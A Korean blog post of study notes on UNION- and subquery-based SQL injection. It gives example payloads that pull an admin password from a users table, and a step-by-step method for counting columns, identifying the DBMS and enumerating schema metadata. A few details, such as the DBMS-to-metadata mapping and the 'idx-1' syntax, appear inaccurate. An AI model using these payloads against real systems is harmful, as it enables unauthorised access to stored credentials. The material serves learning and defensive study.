본문 바로가기
Web/SQL Injection

UNION / Subquery

by ㅇㅅㅇ.. 2024. 8. 6.

1. UNION

다수의 SELECT 구문의 결과를 결합하는 절

쿼리의 결과 값이 화면에 출력될 때 유용하게 사용할 수 있으며 실제로도 많이 발생하는 취약점이다.


SELECT title, content, user FROM board WHERE idx-1 UNION SELECT 1,2,3 

쿼리의 결과가 화면에 출력되는 경우 where 절에 유효하지 않은 값을 대입하고 union 절을 통해 원하는 값을 출력

 


SELECT title, content, user FROM board WHERE idx-1 

UNION SELECT 1, password, 3 FROM users where id="admin" 

 


1.1 주의

  1. SELECT 구문과 UNION을 사용한 구문의 칼럼 개수가 같아야 한다.
    SELECT title, content, user FROM board WHERE idx-1 UNION SELECT 1,2,3 


  2. 특정 DBMS에서는 SELECT 구문과 UNION을 사용한 구문의 칼럼 타입이 같아야 한다.
    # MSSQL (SQL Server)
    SELECT 'ABC' UNION SELECT 123;     => Error
    • MySQL, PostgreSQL, Oracle, MS SQL Server => 일치 해야 함
      ( 칼럼의 데이터 타입이 서로 호환되면 사용가능 함, ex)정수형 ↔ 실수형 )
    • SQLite, MariaDB => 조금 더 유연 

 


2. Subquery

한 쿼리 내에 또 다른 쿼리를 사용하는 것

쿼리 내에서 괄호 안에 구문을 삽입해야하며, SELECT 구문만 사용할 수 있다.

  • 기존의 쿼리가 접근하는 테이블이 아닌 다른 테이블에 접근하는 경우와
  • SELECT 구문을 사용하지 않는 쿼리문에서 SQL Injection 취약점이 발생 할 때 유용

SELECT title, content, user FROM board WHERE idx-1 

UNION SELECT 1, (SELECT user_pw from users where id=admin) , 3  

 

 


UNION을 이용한 SQL Injection FLOW

  1. 칼럼 개수 찾기

    • SELECT title, content, user FROM board WHERE idx-1UNION SELECT 1    => Error
    • SELECT title, content, user FROM board WHERE idx-1UNION SELECT 1,2    => Error
    • SELECT title, content, user FROM board WHERE idx-1UNION SELECT 1,2,3    => 200

      수를 늘려가며 200 status를 반환하는 값을 찾는다 (여기선 칼럼의 개수가 3개)

  2. SQL 종류 확인

    • SELECT * FROM board WHERE idx-1UNION SELECT 1, (SELECT 1 FROM information_schema), 3

      칼럼 수에 맞게 UNION SELECT문을 작성하는데 information_schema와 같이 특정 DBMS에 존재하는 메타 DB를 차례대로 대입하며 어떤 SQL을 사용하고 있는지 파악한다.

      • sys -> MSSQL
      • information_schema -> MySQL, MariaDB, Oracle
      • sqlite_master -> SQLite

  3. 원하는 데이터의 테이블명이나 칼럼 이름 등 찾기

    • ex) information_schema DB에는 TABLES, COLUMNS, SCHEMATA, ENGINES.. 등의 메타 테이블 존재
      information_schema.schemata 처럼 접근하여 사용하고 있는 DB명, 테이블명, 칼럼명... 등을 추출하여 Exploit

이미지 출처: knockOn 부트캠프

'Web > SQL Injection' 카테고리의 다른 글

DB 종류, 버전 알아내기  (0) 2024.08.15
System table  (0) 2024.08.15
Error & Time based SQL Injection  (0) 2024.08.07
Blind SQL Injection  (0) 2024.08.06
DML  (0) 2024.08.06